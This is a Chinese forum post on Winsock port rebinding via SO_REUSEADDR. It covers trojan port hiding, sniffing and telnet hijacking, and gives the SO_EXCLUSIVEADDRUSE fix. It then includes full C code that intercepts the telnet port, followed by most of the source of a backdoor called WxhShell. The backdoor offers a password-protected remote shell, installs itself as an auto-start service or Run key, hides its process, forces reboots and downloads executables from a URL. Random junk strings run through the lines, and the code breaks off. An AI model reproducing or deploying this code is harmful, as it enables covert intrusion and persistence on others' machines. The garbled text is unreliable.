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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lu.D,oP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {!? @u?M  
!N\<QRb\q  
  saddr.sin_family = AF_INET; _zAHN0d  
R+'$V$g\X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w! J|KM  
T&M*sydA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?C( ' z7  
tUS)1*{_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]V|rOtxb  
m5!~PG:_  
  这意味着什么?意味着可以进行如下的攻击: ^/nj2"  
^*CvKCS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DuESLMhz  
3NI3b-7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pkW }\r  
NSQ}:m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \Wdl1 =`  
iD*%' #u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l;*/F`>c  
PI KQ}aq=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  ]/l"  
"Di27Rq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :O`7kZ]=n  
~d0:>8zQR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4*k>M+o/C4  
AYhWeI+  
  #include IM.sW'E  
  #include 3Go/5X/  
  #include -s?f<f{  
  #include    = NHE_ 4/p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #xUX1(  
  int main() ``;.Oy6jS  
  { ;^XF;zpg  
  WORD wVersionRequested; 12 8aJ  
  DWORD ret; H1?t2\V4  
  WSADATA wsaData; |l4tR  
  BOOL val; K|i:tHF]@  
  SOCKADDR_IN saddr; V=$ pXpro%  
  SOCKADDR_IN scaddr; 9CBKU4JQ  
  int err; hv)>HU&  
  SOCKET s; w}8 ,ICL  
  SOCKET sc; [/h3HyZ.  
  int caddsize; 9v\x&h  
  HANDLE mt; kJQH{n+)R  
  DWORD tid;   i D6f/|g  
  wVersionRequested = MAKEWORD( 2, 2 ); x)35}mi){L  
  err = WSAStartup( wVersionRequested, &wsaData ); (`W_ -PI  
  if ( err != 0 ) { a ~s:f5S>  
  printf("error!WSAStartup failed!\n"); j6!C/UgQ  
  return -1; xwuGJ   
  } [ B{F(~O  
  saddr.sin_family = AF_INET; v|!u]!JM  
   6MCLm.L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /{)}y  
C bWz;$r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UB5CvM28  
  saddr.sin_port = htons(23); gmdJ8$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pUc N-WA  
  { /+V}.  
  printf("error!socket failed!\n"); s ;3k#-w  
  return -1; A-n@:` n~  
  }  Mi>!  
  val = TRUE; ZmLA4<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gxKL yZO!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :Dt]sE _d  
  { [b2KBww\  
  printf("error!setsockopt failed!\n"); Z\lJE>1  
  return -1; ,6J{-Iu  
  } HZINsIm!?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -_*ux!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0W_olnZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2X X-  
WGmXq.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (vR9vOpJ  
  { .OyzM  
  ret=GetLastError(); c-GS:'J{  
  printf("error!bind failed!\n"); ABx< Ep6  
  return -1; lfJvN  
  } c -sc*.&  
  listen(s,2); >PY Lk{q  
  while(1) 1bz%O2U-(  
  { qjBF]3%t%  
  caddsize = sizeof(scaddr); WyA`V C  
  //接受连接请求 }1xD*[W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {yzo#"4Oy  
  if(sc!=INVALID_SOCKET) GhJ<L3  
  { Y>J$OA:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {4F=].!  
  if(mt==NULL) QZh#&Qf;  
  { e2"<3  
  printf("Thread Creat Failed!\n"); z|M+ FHl$  
  break; >Ut4INV  
  } qjm6\ii:)  
  } /f*QxNZ,p  
  CloseHandle(mt); ;i 'mma_!  
  } vE~>9  
  closesocket(s); #+"1">l  
  WSACleanup(); qWdob>u  
  return 0; o?{-K-'B$  
  }   [g/ &%n0^  
  DWORD WINAPI ClientThread(LPVOID lpParam) i5*BZv>e  
  { B>;`$-  
  SOCKET ss = (SOCKET)lpParam; XLgp.w;  
  SOCKET sc; ]lqe,>  
  unsigned char buf[4096]; (v,g=BS,  
  SOCKADDR_IN saddr; !MyCxM6  
  long num; iW?z2%#  
  DWORD val; <"hq}B  
  DWORD ret; )KdEl9o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .)g7s? K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @oNYMQ@)d  
  saddr.sin_family = AF_INET; T5_/*`F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 17E,Qnf  
  saddr.sin_port = htons(23); #?h-<KQQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oypF0?!m  
  { O>@ChQF  
  printf("error!socket failed!\n"); O`^dy7>{U  
  return -1; y$K[ArqX  
  } oHPh2b0  
  val = 100; Im!fZ g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D[ v2#2  
  { }~#Tsv  
  ret = GetLastError(); 6no&2a|D  
  return -1;  ~LF/wx>  
  } BhzcimC)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uj~(r=%  
  { ~]Weyb[ N  
  ret = GetLastError(); V r7L9%/wg  
  return -1; Ln$= 8x^T  
  } grxlGS~Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sTu]C +A  
  { YXLZ2-%ohZ  
  printf("error!socket connect failed!\n"); u.@B-Pf[Eo  
  closesocket(sc); 1>=]lMW  
  closesocket(ss); ~f6 Q  
  return -1; 8b:GyC5L  
  } S }3?  
  while(1) c6Z"6-}$  
  { s$Vz1B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $/kZKoF{f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v ;nnr0;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NtG^t}V  
  num = recv(ss,buf,4096,0); a|-ozBFR  
  if(num>0) <xlyk/  
  send(sc,buf,num,0); X?$"dqA  
  else if(num==0) &9ERlZ(A  
  break; b?j\YX[e  
  num = recv(sc,buf,4096,0); W.(Q u-AE(  
  if(num>0) > ofWHl[-  
  send(ss,buf,num,0); r]deVd G  
  else if(num==0) f~?kx41dq  
  break; >ra)4huZ  
  } gs(ZJO1 /L  
  closesocket(ss); ^4C djMF-E  
  closesocket(sc); f_z]kA +H  
  return 0 ; ] Jnrs  
  } W+i&!'  
R9-Uoc/  
H}cq|hodn  
========================================================== 'd]t@[#  
@5h(bLEP  
下边附上一个代码,,WXhSHELL ;TL>{"z`x  
GE*%I1?]  
========================================================== +yxL}=4s  
kA/yL]m^S  
#include "stdafx.h" :{ Lihe~\  
^g=j`f[T  
#include <stdio.h> I`nC\%g  
#include <string.h> =C- b#4Q  
#include <windows.h> ub]s>aqy   
#include <winsock2.h> v$Xoxp  
#include <winsvc.h> p^s:s-"f\  
#include <urlmon.h> g'NR\<6A  
u =lsH  
#pragma comment (lib, "Ws2_32.lib") 7.tIf <^$P  
#pragma comment (lib, "urlmon.lib") @!*I mNMI  
0.&-1pw  
#define MAX_USER   100 // 最大客户端连接数 ,7)z avA  
#define BUF_SOCK   200 // sock buffer Ud_0{%@  
#define KEY_BUFF   255 // 输入 buffer t{e}3}LEd  
> .K  
#define REBOOT     0   // 重启 lv#L+}T  
#define SHUTDOWN   1   // 关机 ?(Xy 2%v  
3b/J  
#define DEF_PORT   5000 // 监听端口 SNC)cq+{  
L0qL\>#ejr  
#define REG_LEN     16   // 注册表键长度 ]4B&8n!  
#define SVC_LEN     80   // NT服务名长度 deOk>v&U  
#i=m%>zjN  
// 从dll定义API Y/f8rN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jd.w7.8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rQ(u@u;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M63t4; 0A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )O8w'4P5  
-0+h&CO  
// wxhshell配置信息  63VgQ  
struct WSCFG { sj&1I.@,>  
  int ws_port;         // 监听端口 l4 YTR4D  
  char ws_passstr[REG_LEN]; // 口令 y>c Yw!  
  int ws_autoins;       // 安装标记, 1=yes 0=no y m?uj4I{  
  char ws_regname[REG_LEN]; // 注册表键名 H-3*},9  
  char ws_svcname[REG_LEN]; // 服务名 sC_doh_M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w3M F62:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h#Z~x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cvC 7#i[G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no esd9N'.Q*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^*F'[!. p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1aezlDc*  
\CBL[X5tr  
}; v7<r- <I[  
p3qKtMs0!  
// default Wxhshell configuration f%yNq6l  
struct WSCFG wscfg={DEF_PORT, y24/lc  
    "xuhuanlingzhe", xu@+b~C\  
    1, vBV_aB1{  
    "Wxhshell", MC1&X'  
    "Wxhshell", @DKph!c r  
            "WxhShell Service", '`&b1Rc  
    "Wrsky Windows CmdShell Service", PJAM_K;  
    "Please Input Your Password: ", K/$5SN1  
  1, HMw}pp:  
  "http://www.wrsky.com/wxhshell.exe", w$aejz`[  
  "Wxhshell.exe" s6!! ty;Y  
    }; 7!~)a  
9 u>X,2gUR  
// 消息定义模块 oN,9#*PVL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !T.yv5ge'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M&KJZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QEP|%$:i  
char *msg_ws_ext="\n\rExit."; i<!1s%i}  
char *msg_ws_end="\n\rQuit."; T/tCX[}  
char *msg_ws_boot="\n\rReboot..."; R#Z m[S  
char *msg_ws_poff="\n\rShutdown..."; 6%&DJBU!  
char *msg_ws_down="\n\rSave to "; < Q6  
)Ut9k  
char *msg_ws_err="\n\rErr!";  dK]#..  
char *msg_ws_ok="\n\rOK!"; o[g]Va*8  
(R!`Z%  
char ExeFile[MAX_PATH]; ,#hNHFa'JH  
int nUser = 0; fz%e?@>q  
HANDLE handles[MAX_USER]; #66u<FaG  
int OsIsNt; nMOXy\&mI  
!3\( d{  
SERVICE_STATUS       serviceStatus; G#3$sz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~I@ % ysR  
0e j*0"Mq  
// 函数声明 >iI_bcqF  
int Install(void); eY_BECJ+OO  
int Uninstall(void);  /EwNMU*6  
int DownloadFile(char *sURL, SOCKET wsh); #yOeL3|b'  
int Boot(int flag); <o@__l.  
void HideProc(void); Wv30;7~  
int GetOsVer(void); P%ZU+ET  
int Wxhshell(SOCKET wsl); =_[Ich,}  
void TalkWithClient(void *cs); `&J=3x  
int CmdShell(SOCKET sock); wvH*<,8V q  
int StartFromService(void); F 7X ] h  
int StartWxhshell(LPSTR lpCmdLine); 9Yji34eDZ  
k"+/DK,:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?$=Ml$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h4c4!S  
ZBjb f_M:  
// 数据结构和表定义 *7C l1o  
SERVICE_TABLE_ENTRY DispatchTable[] = d V3R)  
{ z=TuUl@  
{wscfg.ws_svcname, NTServiceMain}, 1r<'&f5  
{NULL, NULL} p e$WSS J  
}; nz Klue  
>t4<2|!(M  
// 自我安装 QPW+L*2  
int Install(void) sbV_h;<  
{ g8]$BhRIfr  
  char svExeFile[MAX_PATH]; BWzo|isv  
  HKEY key; C`\yc_b9Pf  
  strcpy(svExeFile,ExeFile); "S psSQ  
l'?(4 N  
// 如果是win9x系统,修改注册表设为自启动 q ;e/gP2  
if(!OsIsNt) { @Dd3mWKq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1+Bj` ACP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^NrC8,p  
  RegCloseKey(key); +`TwBN,kp-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p9eTrFDy?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nu6v@<<F>  
  RegCloseKey(key); [-1Yyy1}  
  return 0; 6g"qwWZp  
    } ^;;gPhhWV  
  } U-#vssJhk  
} 8CRwHDB  
else { F ZfhiIf  
-9(nsaV  
// 如果是NT以上系统,安装为系统服务 {QIdeB[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <^adt *m  
if (schSCManager!=0) f4^\iZ{`G  
{ {QT:1U \.  
  SC_HANDLE schService = CreateService s+a#x(7{  
  ( 8VMD304  
  schSCManager, J!iK W  
  wscfg.ws_svcname, 5- "aK~@+  
  wscfg.ws_svcdisp, Bacmrf  
  SERVICE_ALL_ACCESS, n;r W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `W%R  
  SERVICE_AUTO_START, =]-D_$S~  
  SERVICE_ERROR_NORMAL, S,#UA%V"  
  svExeFile, )"s(;kU!  
  NULL, 0;"  >.  
  NULL, O_Z   
  NULL, l6-%)6u>  
  NULL, ~.Cu,>fV  
  NULL (?z"_\^n/  
  ); yj mNeZ  
  if (schService!=0) O2Tna<cR&  
  { gm}zF%B"  
  CloseServiceHandle(schService); ,>3|\4/Q  
  CloseServiceHandle(schSCManager); <2fvEW/#v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i$z*~SuM#  
  strcat(svExeFile,wscfg.ws_svcname); z?(QM:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { II(P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xl/2-'4  
  RegCloseKey(key); 9S{0vc/2@  
  return 0; <is%lx(GDX  
    } Bmi9U   
  } - s0QEQ  
  CloseServiceHandle(schSCManager); ;})s o  
} u=sZFr@m[  
} d0-T\\U  
v;IuB  
return 1;  t/a  
} 0[fqF^HEN  
.Yxf0y?uv  
// 自我卸载 $e,'<Jl  
int Uninstall(void) $%5!CD1)  
{ 4"Pf0PD:  
  HKEY key; 'h;x>r  
`MXGEJF  
if(!OsIsNt) { F vHd `  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H)i%\7F5  
  RegDeleteValue(key,wscfg.ws_regname); q%MLj./?[  
  RegCloseKey(key); 3 ~\S]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { usI$  
  RegDeleteValue(key,wscfg.ws_regname); ~)iQbLI  
  RegCloseKey(key); 2-gI@8NPI  
  return 0; TRQH{O\O  
  } 6q~*\KRk  
} J.n-4J#@  
} i UW.$1l  
else { iFaC[(1@a  
z229:L6"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BY??X=  
if (schSCManager!=0) iPt{v5}]  
{ A{a`%FAV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S{c;n*xf  
  if (schService!=0) 0vcM+}rw  
  { 3H@29TrJ+  
  if(DeleteService(schService)!=0) { }B2qtb3  
  CloseServiceHandle(schService); bd3q207>  
  CloseServiceHandle(schSCManager); `rI[   
  return 0; |=ljN7]!  
  } nWv6I&  
  CloseServiceHandle(schService); M7SVD[7~HM  
  } -LEpT$v|  
  CloseServiceHandle(schSCManager); [USE&_RN  
} u YJL^I8M'  
} [7gwJiK  
q<w Q/m  
return 1; '@eH)wh@m)  
} wM&WR2  
?K^~(D8(  
// 从指定url下载文件 #BX^"J{~  
int DownloadFile(char *sURL, SOCKET wsh) $nW^Gqwj]1  
{ |iB svI:  
  HRESULT hr; ~QE-$;  
char seps[]= "/"; :*s+X$x,<  
char *token; kK$*,]iCp  
char *file; y,=TB#  
char myURL[MAX_PATH]; *p7_rY  
char myFILE[MAX_PATH]; dE|luN~  
{AMoE +U  
strcpy(myURL,sURL); \9s x_T  
  token=strtok(myURL,seps); -87]$ ax  
  while(token!=NULL) @2)ImgK[  
  { 7NDjXcuq  
    file=token; ?u_O(eg  
  token=strtok(NULL,seps); #Vh$u%q3  
  } ~F=,)GE  
Z|qUVD5Ic  
GetCurrentDirectory(MAX_PATH,myFILE); <Z8^.t)|  
strcat(myFILE, "\\");  0@dN$e  
strcat(myFILE, file); lF.yQ  
  send(wsh,myFILE,strlen(myFILE),0); !0 -[}vvU  
send(wsh,"...",3,0); '7TT4~F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d3K-|  
  if(hr==S_OK) @m Id{w z  
return 0; I 6Mr[#*  
else UIi`bbJ  
return 1; mL[Y{t#N  
* IBCThj  
} p) ea1j>N  
qI#ow_lL#  
// 系统电源模块 m kHcGB!~  
int Boot(int flag) 3Mt Alc0xp  
{ UV8K$n<  
  HANDLE hToken; W05>\Rl  
  TOKEN_PRIVILEGES tkp; %H'*7u2  
(GI]Uyn  
  if(OsIsNt) { Y+'522er  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gtV*`g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zCdzxb_h"  
    tkp.PrivilegeCount = 1; ![a~y`<K,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F(#~.i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,=Fn6'  
if(flag==REBOOT) { Y;6%pm$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) auT'ATW7i  
  return 0; WYNO6Xb#:  
} kw.IVz<  
else { mFXkrvOf,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K7N.gT*4  
  return 0; K]Onb{QY  
} -!b@\=  
  } h1 (MvEt  
  else { #-Ad0/  
if(flag==REBOOT) { 8Q Nd t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y94/tjt  
  return 0; .a *^6TC.  
} /)E'%/"A  
else { :[ AP^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `[zd  
  return 0; I_h{n{,sr  
} 81<0B @E  
} XU19+mW=P  
I{0bs Tp;  
return 1; eX@7f!uz  
} J \V.J/  
3Ta<7tEM  
// win9x进程隐藏模块 Cq-#| +zr  
void HideProc(void) Pqm)OZE?  
{ xFY< ns  
`bF] O"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y?>us  
  if ( hKernel != NULL ) A, )G$yT\  
  { ] 336FgT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &G"r>,HU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); + $x;FT&  
    FreeLibrary(hKernel); w>W`8P_b@  
  } T|&2!Sh  
4: <=%d  
return; Y[yw8a  
} a|v}L,  
}lzQMT  
// 获取操作系统版本 K9J"Q4pEC  
int GetOsVer(void) yw( E}   
{ o-D,K dY  
  OSVERSIONINFO winfo; S"z cSkF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U5z}i^8a  
  GetVersionEx(&winfo); {)vue0 vP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q$(0Nx<  
  return 1; n*oa J<o%  
  else C,!}WB@VME  
  return 0; ]U,K]y[Bj  
} U|%y `PZ  
k<M~co;L  
// 客户端句柄模块 aumXidb S  
int Wxhshell(SOCKET wsl) .u_k?.8|  
{ /@H2m\vBX  
  SOCKET wsh; joN}N}U  
  struct sockaddr_in client; Z{w{bf1&A  
  DWORD myID; "k${5wk#Fl  
hR$lX8  
  while(nUser<MAX_USER) y ;4h'y>#  
{ R "&(Ae?LR  
  int nSize=sizeof(client); /Lc= K<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2z\4?HJy  
  if(wsh==INVALID_SOCKET) return 1; 7Pc0|Z/  
` tkd1M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'ZHu=UT7_  
if(handles[nUser]==0) WLAJqmC]  
  closesocket(wsh); >Ufjmm${  
else ; -RhI_  
  nUser++; r $du-U  
  } V+dfV`*k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `FImi9%F  
8O]U&A@  
  return 0; J9LS6~ 7  
} toipEp<ci  
Hr$oT=x[  
// 关闭 socket LaZF=<w(  
void CloseIt(SOCKET wsh) k:4?3zJI  
{ bmAgB}Ior  
closesocket(wsh); 3_atv'I  
nUser--; 8i;N|:WdH  
ExitThread(0); v}IP%84  
}  :*M\z3`k  
;UgRm#  
// 客户端请求句柄 1q!JpC^  
void TalkWithClient(void *cs) 0;)6ZU  
{ {zGIQG9  
OvPy+I  
  SOCKET wsh=(SOCKET)cs; V=|^r?  
  char pwd[SVC_LEN]; 8-5a*vV,>  
  char cmd[KEY_BUFF]; x~GV#c  
char chr[1]; ru`;cXa,  
int i,j; ~MY (6P  
13Z6dhZu  
  while (nUser < MAX_USER) { ;f-|rC_"  
%6 <Pt  
if(wscfg.ws_passstr) { 71tMX[x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]tZ5XS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h6x+.}}  
  //ZeroMemory(pwd,KEY_BUFF);  &1Fcwj  
      i=0; EGwY|+3  
  while(i<SVC_LEN) { ,l<-*yMD  
u,F d[[t  
  // 设置超时 .bl0w"c^qq  
  fd_set FdRead; g]xZ^M+  
  struct timeval TimeOut; Ut-6!kAm  
  FD_ZERO(&FdRead); IQ{Xj3;?y  
  FD_SET(wsh,&FdRead); ^@L[0Z`  
  TimeOut.tv_sec=8; U8-9^}DBA  
  TimeOut.tv_usec=0; ~+>M,LfK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wZa;cg.-q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <J-OwO a-1  
f 5i`B*/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =zA=D.D2  
  pwd=chr[0]; 1MJ]Gh]5  
  if(chr[0]==0xd || chr[0]==0xa) { ID+'$u &  
  pwd=0; g}^ /8rW  
  break; Xy*X4JJh^  
  } \ b9,>  
  i++; na']{a 1K  
    } ;(0:6P8I  
k7{fkl9|#  
  // 如果是非法用户,关闭 socket Vd<= y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #>'1oC{  
} \Di~DN1  
pjj 5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G^mk<pH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xYu~}kMu  
P'9aZd  
while(1) {  (+]k{  
GPx S.&  
  ZeroMemory(cmd,KEY_BUFF); |>3a9]  
['km'5uZ^  
      // 自动支持客户端 telnet标准   2Bjp{)*  
  j=0; P)ZSxU  
  while(j<KEY_BUFF) { jZ D\u%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aJ)5DlfLR  
  cmd[j]=chr[0]; .;KupQ;*  
  if(chr[0]==0xa || chr[0]==0xd) { !RcAJs'  
  cmd[j]=0; ,Vs:Lle  
  break; }BogE$tc  
  } .hJ8K #r  
  j++; ''v1Pv-  
    } )q l?}  
Jj6kZK  
  // 下载文件 e4)g F*  
  if(strstr(cmd,"http://")) { \[oHt:$do  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J/<`#XZB   
  if(DownloadFile(cmd,wsh)) >A,WXzAK}S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?$9~/h :;  
  else }"&(sYQ*`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ro1' L1:  
  } 17i^|&J6}:  
  else { *i?qOv /=>  
,xh9,EpBk  
    switch(cmd[0]) { zBs7]z!eP  
  )(L&+DDy  
  // 帮助 <@vE 3v;  
  case '?': { (&*F`\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ys_YjlMIbl  
    break; R$@.{d&:w  
  } .4Ny4CMHZ  
  // 安装 o7T|w~F~R  
  case 'i': { 1 I+5  
    if(Install()) $Tur"_`I;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j d8 1E  
    else W_ 6Jl5]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7}x-({bqy  
    break; )ED[cYGx  
    } Ur-^X(nL  
  // 卸载 2>!ykUw^O  
  case 'r': {  XGoy#h  
    if(Uninstall()) zc1Zuco| R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L,D>E  
    else /r%+hS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e"CLhaT  
    break; jFXU xf  
    } Na6z,TW  
  // 显示 wxhshell 所在路径 CbHNb~  
  case 'p': { <M7* N .  
    char svExeFile[MAX_PATH]; lX4p'R-h  
    strcpy(svExeFile,"\n\r"); `SwnKg  
      strcat(svExeFile,ExeFile); * Z:PB%d5  
        send(wsh,svExeFile,strlen(svExeFile),0); (>K$gAQH  
    break; L&N"&\K2U  
    } JJ~?ON.H  
  // 重启 _Nn!SE   
  case 'b': { 0l=}v%D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EC~t 'v  
    if(Boot(REBOOT)) JB(;[#'~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,\ r{@yrz  
    else { %yMzgk[u  
    closesocket(wsh); dvD<>{U,8  
    ExitThread(0); LbR-uc?x  
    } WNb$2q=  
    break; RrHnDO'  
    } eFio,  
  // 关机 UYQ$c }Z5  
  case 'd': { x]ti3?w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <n\.S  
